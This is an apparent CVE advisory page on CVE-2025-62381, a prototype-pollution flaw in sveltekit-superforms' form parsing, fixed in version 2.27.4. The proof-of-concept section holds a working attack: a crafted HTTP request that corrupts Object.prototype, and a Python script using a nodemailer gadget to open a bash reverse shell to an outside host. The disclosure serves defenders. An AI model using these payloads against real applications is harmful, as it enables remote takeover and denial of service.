CVE-2025-62381: sveltekit-superforms Prototype Pollution in `parseFormData` function of `formData.js`

Published Oct 15, 2025
·
Updated

Summary sveltekit-superforms v2.27.3 and prior are susceptible to a prototype pollution vulnerability within the parseFormData function of formData.js. An attacker can inject string and array properties into Object.prototype, leading to denial of service, type confusion, and potential remote code execution in downstream applications that rely on polluted objects.

Details Superforms is a SvelteKit form library for server and client form validation. Under normal operation, form validation is performed by calling the the superValidate function, with the submitted form data and a form schema as arguments: js // https://superforms.rocks/get-started#posting-data const form = await superValidate(request, youradapter(schema)); Within the superValidate function, a call is made to parseRequest in order to parse the user's input. parseRequest then calls into parseFormData, which in turn looks for the presence of superformjson in the form parameters. If superformjson is present, the following snippet is executed: js // src/lib/formData.ts if (formData.has('superformjson')) { try { const transport = options && options.transport ? Object.fromEntries(Object.entries(options.transport).map(([k, v]) => [k, v.decode])) : undefined;

const output = parse(formData.getAll('superformjson').join('') ?? '', transport); if (typeof output === 'object') { // Restore uploaded files and add to data const filePaths = Array.from(formData.keys());

for (const path of filePaths.filter((path) => path.startsWith('superformfile'))) { const realPath = splitPath(path.substring(17)); setPaths(output, [realPath], formData.get(path)); }

for (const path of filePaths.filter((path) => path.startsWith('superformfiles'))) { const realPath = splitPath(path.substring(18)); const allFiles = formData.getAll(path);

setPaths(output, [realPath], Array.from(allFiles)); }

return output as Record<string, unknown>; } } catch { // } } This snippet deserializes JSON input within the superformjson, and then performs a nested assignment into the deserialized object using values from form parameters beginning with superformfile and superformfiles. Since both the target property and value of the assignment is controlled by user input, an attacker can use this to pollute the base object prototype. For example, the following request will pollute Object.prototype.toString, which leads to a persistent denial of service in many applications: POST /signup HTTP/1.1 Host: example.com User-Agent: Mozilla/5.0 (X11; Linux x8664; rv:143.0) Gecko/20100101 Firefox/143.0 Accept: application/json Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Referer: http://example.com/signup content-type: application/x-www-form-urlencoded x-sveltekit-action: true Content-Length: 70 Origin: http://example.com Connection: keep-alive Priority: u=0 Pragma: no-cache Cache-Control: no-cache

superformjson=[{}]&superformfilesproto.toString='corrupted' PoC The following PoC demonstrates how this vulnerability can be escalated to remote code execution in the presence of suitable gadgets. The example app represents a typical application signup route, using the popular nodemailer library (5 million weekly downloads from npm).

routes/signup/schema.ts: js import { z } from "zod/v4";

export const schema = z.object({ email: z .email({ error: "Please enter a valid email address.", }) .min(1, { error: "Email address is required.", }), password: z.string().min(8, { error: "Password must be at least 8 characters long.", }), }); routes/signup/+page.server.ts: js import { zod4 } from "sveltekit-superforms/adapters"; import { fail, setError, superValidate } from "sveltekit-superforms"; import { schema } from "./schema"; import nodemailer from "nodemailer"; import { MAILUSER, MAILCLIENTID, MAILCLIENTSECRET, MAILREFRESHTOKEN, } from "$env/static/private";

export const actions = { default: async ({ request }) => { const form = await superValidate(request, zod4(schema));

if (!form.valid) { return fail(400, { form }); }

// <insert other signup code here: DB ops, logging etc..>

nodemailer .createTransport({ service: "gmail", auth: { type: "OAuth2", user: MAILUSER, clientId: MAILCLIENTID, clientSecret: MAILCLIENTSECRET, refreshToken: MAILREFRESHTOKEN, }, }) .sendMail({ to: form.data.email, subject: "Welcome to $app!", html: "<p> Welcome to $app. We hope you enjoy your stay.</p>", text: "Welcome to $app. We hope you enjoy your stay.", }); }, };

The following Python script then pollutes the base object prototype in order to achieve RCE. python #!/usr/bin/env python3

import requests

RHOST = "http://localhost:4173" session = requests.Session()

r = session.post( f"{RHOST}/signup", data={ "superformjson": "[{}]", "superformfileproto.sendmail": "1", "superformfileproto.path": "/bin/bash", "superformfilesproto.args": [ "-c", "bash -i >& /dev/tcp/dread.mantel.group/443 0>&1", "--", ], }, headers={"Origin": RHOST}, )

r = session.post( f"{RHOST}/signup", data={"email": "me@example.com", "password": "usersignuppassword"}, headers={"Origin": RHOST}, ) <img width="747" height="173" alt="image" src="https://github.com/user-attachments/assets/7b097187-7110-409a-915d-94782c15f597" />

In addition to nodemailer, the Language-Based Security group at KTH Royal Institute of Technology also compiles gadgets in many other popular libraries and runtimes, which can be used together with this vulnerability.

Impact Attackers can inject string and array properties into Object.prototype. This has a high probability of leading to denial of service and type confusion, with potential escalation to other impacts such as remote code execution, depending on the presence of reliable gadgets.

Other sources

sveltekit-superforms makes SvelteKit forms a pleasure to use. sveltekit-superforms v2.27.3 and prior are susceptible to a prototype pollution vulnerability within the parseFormData function of formData.js. An attacker can inject string and array properties into Object.prototype, leading to denial of service, type confusion, and potential remote code execution in downstream applications that rely on polluted objects. This vulnerability is fixed in 2.27.4.

MITRE

Affected Software

2 affected componentsFixes available
sveltekit-superforms sveltekit-superforms<2.27.4
npm/sveltekit-superforms<=2.27.3
2.27.4

Event History

Oct 15, 2025
CVE Published
via MITRE·05:12 PM
Data Sourced
via MITRE·05:12 PM
DescriptionWeakness
Data Sourced
via NVD·06:15 PM
DescriptionSeverityWeakness
Advisory Published
via GitHub·07:43 PM
Data Sourced
via GitHub·07:43 PM
DescriptionWeaknessAffected Software
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2025-62381?

CVE-2025-62381 is considered a high severity vulnerability due to its potential for prototype pollution and the impact it can have on the application.

2

How do I fix CVE-2025-62381?

To fix CVE-2025-62381, upgrade sveltekit-superforms to version 2.27.4 or later.

3

What is the impact of CVE-2025-62381 on applications?

The impact of CVE-2025-62381 allows attackers to manipulate Object.prototype, which can lead to unexpected behavior in the application.

4

Who is affected by CVE-2025-62381?

CVE-2025-62381 affects users of sveltekit-superforms versions 2.27.3 and prior.

5

What is the root cause of CVE-2025-62381?

The root cause of CVE-2025-62381 is a prototype pollution vulnerability in the parseFormData function within formData.js.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203